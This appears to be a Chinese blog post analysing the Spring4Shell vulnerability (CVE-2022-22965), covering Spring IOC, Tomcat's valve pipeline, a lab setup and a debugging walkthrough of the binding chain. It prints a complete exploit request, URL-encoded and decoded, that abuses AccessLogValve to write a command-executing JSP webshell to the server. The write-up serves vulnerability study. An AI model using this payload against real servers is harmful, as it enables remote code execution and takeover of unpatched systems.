Spring框架-CVE-2022-22965分解分析

2022-05-04
629

前言

关于CVE-2022-22965漏洞的环境调试和内容,网上看了一波,感觉有些知识点内容还是必须要了解才能理解该漏洞,为此详细写了下从Spring框架结构分析,环境搭建到漏洞分析调试整体的一个过程理解,在遇到其他类型的漏洞也可以去调试运用。

了解Spring框架

Spring框架是一个开放源代码的J2EE应用程序框架,由7部分组成:分别是 Spring Core、 Spring AOP、 Spring ORM、 Spring DAO、Spring Context、 Spring Web和 Spring Web MVC。巴拉巴拉......

对于Spring它的核心就是IOC反转控制和AOP面向切片!好吧,这到底是什么?不懂?没关系,AOP面向切面编程对于渗透来说不用去深入,只要了解IOC反转就可以。细说IOC反转:

原始的调用中:

在java里通常我们在一个类中调用其他类方法是去new一个对象的方式来调用其中的内容,例如:

UserSeriveImpl的方法内部调用UserDaolmpl的对象:

UserDao userdao = new UserDaoImple()
public void save() {
  System.out.println("save方法");
}
public void update() {
  System.out.println("update方法");
}

Spring中:红色标线的调用路线

1651194817_626b3bc1c760ece4cf56a.png!small?1651194819042

那么图有了,我们来看下怎么具体实现,首先了解下spring项目的目录结构:

红色框:项目源文件目录

黄色框:配置文件目录

绿色框:pom.xml为坐标文件,主要用来引入项目依赖(pom.xml是meaven项目中的文件)

蓝色框:引用到的依赖包

1651194856_626b3be8517f834cec15b.png!small?1651194857570

细说IOC反转控制要从Spring的运行开发流程来看:

1、导入Spring的基本坐标(当我们用IDEA创建好maven项目后,需要使用到依赖,此时在dependency标签中配置项目使用到的依赖包)

  
junit
junit
4.12
test
  
  
org.springframework
spring-context
5.0.5.RELEASE
  

2、需要编写Dao接口和实现类,即创建Bean,即UserDao和UserDaoImpl。(即我们流程图中的左上角模块)

//接口
public interface UserDao {
 public void save();
}
//实现类
public class UserDaoImpl implements UserDao {

 @Override
 public void save() {
  System.out.println("save running...");
 }
}

3、创建Spring核心配置文件,即在resources中创建applicationContext.xml

4、在Spring配置文件application.xml中配置UserDaoImpl,即在配置文件当中进行Bean配置

(以上3,4步骤即我们流程图左下角的模块,该xml名称可以自定义,通常为applicationContext.xml)

5、使用Spring的API获得Bean实例,通过spring客户端即ApplicationContext对象获得getBean,提供当前id参数。(写一个UserDaoDemo用来演示)

public class UserDaoDemo {
 public static void main(String[] args) {
  //获得beans实例
  ApplicationContext app = new ClassPathXmlApplicationContext("applicationContext.xml");
  Userdao userdao = (Userdao) app.getBean("userDao");
  //调用方法
  userdao.save();
 }
}

过程:执行UserDaoDemo方法时,ClassPathXmlApplicationContext()函数会去默认路径为resources下找applicationContext.xml配置文件进行读取,根据配置文件中的id标识(即标签中的id值)获得beans对象,通过Spring反射创建beans对象(即UserDao)并返回。通过getBean()方法获取到UserDao对象。

1651194886_626b3c06ca406e71ee505.png!small?1651194888062

这就是IOC反转控制,为什么要使用这种方式呢:IOC容器负责实例化、定位、配置应用程序中的对象及建立这些对象间的依赖。交由Spring容器统一进行管理,从而实现松耦合。

了解IOC反转控制后,我们再来细看下CVE-2022-22965漏洞,首先来看下它的复现数据包

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 172.16.70.55:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=96A7FBC1E4F0434DC4F892AD81B59241
Upgrade-Insecure-Requests: 1
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

通过URL编码decode来看下

1651193730_626b3782d82526c246832.png!small?1651193732074

 

如下:发现是对class...方式的赋值,class是一个类,也就是说在这里通过对象+"."的方式调用到具体值,给这些值进行了赋值。

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

这些值又是什么?我们找到tomcat的安装路径:apache-tomcat-9.0.62\conf\server.xml对比看一下,发现数据包中的pattern、suffix、prefix、directory参数都在红色框中出现。细看下prefix名称:"localhost_access_log",发现是access_log日志文件,apache的日志文件为什么会在这里去调用。

1651193790_626b37be0ce55383fa834.png!small?1651193791263

在这里为了能很好的利用Spring这个洞,利用tomcat写shell的手法就成了利用链,所以会用到该内容。那么其中的org.apache.catalina.valves.AccessLogValue是什么?我们来看一下,在搭建起来的Spring环境中,去搜索一下这个"AccessLogValue"。看到标红处的内容和tomcat中server.xml文件中的标红处的参数是一致的。

1651193767_626b37a74d808e9285a93.png!small?1651193768788

也就是说在利用链中tomcat启动的时候最终会调用Spring框架中的这个类去设置日志属性。

这里不得不说一下tomcat的启动原理了:

当我们启动tomcat一般是运行%TOMCAT_HOME%\bin\startup.bat文件,这个文件实际上调

用了%TOMCAT_HOME%\bin\catalina.bat批处理文件。startup.bat将start命令和控制台的所有参数都传给

了catalina.bat文件。org.apache.catalina.startup.Bootstrap类正是Tomcat的入口类,Tomcat正是从Bootstra

p类的main方法开始运行的。

1651193818_626b37da0ae82f9829914.png!small?1651193819339

其中Bootstrap的main方法做了3件事情:

a、初始化;

b、装配tomcat容器(此时会调用server.xml和Service\Host\Context\Wrapper类,其中的子任务执行会通过pipe列表,列表中记录着每个可以执行业务的阀类,阀类都继承于ValveBase类,ValueBase类又实现了Value接口类,在Value接口类中,就有重要的接口函数invoke。)

1651193873_626b3811538d076abea08.png!small?1651193876171

当发起网络请求处理业务逻辑的时候,真正处理网络请求的是servlet。但是http请求过来以后不是直接到servlet的,它前面还有很多东西,而这些东西的实现就是利用pipe管道,pipe里面嵌套和很多Value,Value最终调用servlet。pipeline管道就能够看作是valve的容器,四大容器(刚才说的Service\Host\Context\Wrapper类)里每一个容器都维护有自身专属的pipeline,basic负责触发子容器的第一个valve,wrapper的basic会去调用filter,而后再执行servlet的逻辑。这里引用一下网上找到的一个图(这个图真不错的尼,放一下作者的这个图的具体连接:http://javashuo.com/article/p-olzqoegu-hz.html):

1651193898_626b382a7745ab5aa1c37.png!small?1651193900443

c、启动tomcat容器

那么该漏洞除了上述知识点外,还需要了解Spring中的参数绑定,简单来说,springmvc中可以自动的去给参数赋值。例如我们常见的穿参数的方式就是下面这种:http://localhost:8080/spring4shell_war/?name=zzz&age=123

exp核心思想:tomcat运行的时候会加载server.xml,xml中会注入AccessLogValve的对象,结果会通过spring加载注入到整个项目里面去。则可以利用修改后缀名称,整个值改掉进行webshell写入。

至此我们来搭建一下复现环境:

环境搭建

打开idea构建spring mvc项目

1651193950_626b385e5516f97d7c967.png!small?1651193952291

添加web依赖

1651193992_626b3888e9878c20362d6.png!small?1651193994157

项目右键->add Frameworks Support中选择spring->spring mvc。

1651194012_626b389c4343df38b4c5e.png!small?1651194020967

修改配置web.xml:



 
  contextConfigLocation
  /WEB-INF/applicationContext.xml
 
 
  org.springframework.web.context.ContextLoaderListener
 
 
  springMVC
  org.springframework.web.servlet.DispatcherServlet
  
  
contextConfigLocation
WEB-INF/springMVC.xml
  
  1
 
 
  springMVC
  
  /
 

修改配置springMVC.xml

引入pom.xml文件





    4.0.0

    

        org.springframework.boot

        spring-boot-starter-parent

        2.6.6

         

    

    com.example

    spring4shell

    0.0.1-SNAPSHOT

    spring4shell

    spring4shell

    

        11

    

    

        

            org.springframework.boot

            spring-boot-starter-web

        

 

        

            org.springframework.boot

            spring-boot-starter-test

            test

        

        

            org.springframework

            spring-beans

            5.3.17

        

    

 

    

        

            

                org.springframework.boot

                spring-boot-maven-plugin
            
        
    

com.example.spring4shell下创建包controller,controller包下创建类RunController

package com.example.spring4shell.controller;

import com.example.spring4shell.modle.Person;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class RunController {
 @RequestMapping("/run")
 public String Run(Person per){
  return per.getName();
 }
}

com.example.spring4shell下创建包modle,modle包下创建类Person提供get、set方法。

package com.example.spring4shell.modle;

public class Person {
 private String name;
 private int age;

 public int getAge(){
  return age;
 }

 public String getName(){
  return name;
 }

 public void setAge(int age){
  this.age = age;
 }

 public void setName(String name){
  this.name = name;
 }
}

目录结构:

1651194404_626b3a2495a902988fd74.png!small?1651194405790

配置tomcat启动:

1651194438_626b3a46c752dc42b624d.png!small?1651194440042

1651194453_626b3a5569b4116881cba.png!small?1651194454688

如果过程报错:“org.apache.catalina.core.StandardContext.listenerStart 监听错误”,在此处选择Put into Output Root

1651194498_626b3a82459145cdfb19e.png!small?1651194499503

启动成功:

1651194515_626b3a9395a15ce072d69.png!small?1651194516861

成功调用:

1651194551_626b3ab74a14f486e3731.png!small?1651194552508

分析

此时我们来看一下漏洞环境中的BeanWrapperImpl类

1651194597_626b3ae5aebdb34e455ac.png!small?1651194600026

断点调试进入该方法:发现通过forclass获取包装类(WrappedClass),即Person对象。

1651194613_626b3af58b5c621361b9a.png!small?1651194615128

this.getWarppedClass()是一个Person对象。最终获取到的值是个对象的话就是个问题了,因为class对象可以通过"."这种方式来引用刚才我们提到的AccessLogValve类中的属性,通过获取修改AccessLogValve类中的属性构造利用链来写入shell。

1651194712_626b3b58321de703752ba.png!small?1651194713837

当我们断点一步步调试,到NativeMethodAccessorImpl类的时候,发现最终调用的是invoke0方法

1651194728_626b3b68e67cd91a4ced2.png!small?1651194730177

在进入invoke0发现反射调用的就是Person中的set方法。

1651194742_626b3b76045bdf27dd6b0.png!small?1651194743263

通过以上这种方式就可以把前台传的http的name属性,去动态的给servlet里的对象,即这里的Per,然后就可以用该对象去做下一步处理。

1651194756_626b3b84e8087843bec6d.png!small?1651194758140

在数据包中传递参数的时候是run?name=1,name是属性那么exp中要修改包中的其他属性,则使用class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp这种方式去修改。所以在exp直接使用class类+"."的方式修改参数,而无name传参。

调用链的整体过程如下:

public final native java.lang.Class java.lang.Object.getClass()-->user.getClass()
public java.lang.Module java.lang.Class.getModule()
public java.lang.ClassLoaderjava.lang.Module.getClassLoader()
public org.apache.catalina.WebResourceRootorg.apache.catalina.loader.WebappClassLoaderBase.getResources(
public org.apache.catalina.Contextorg.apache.catalina.webresources.StandardRoot.getContext()
public org.apache.catalina.Containerorg.apache.catalina.core.ContainerBase.getParent()
public org.apache.catalina.Pipelineorg.apache.catalina.core.ContainerBase.getPipeline()
public org.apache.catalina.Valveorg.apache.catalina.core.StandardPipeline.getFirst()
public java.lang.String org.apache.catalina.valves.AccessLogValve.getPrefix()
AccessLogValve.setPrefix("tomcatwar")

 

文中所涉及的技术、思路和工具等仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等,否则后果自行承担!

 

转载时必须以链接形式注明原始出处及本声明

扫描关注公众号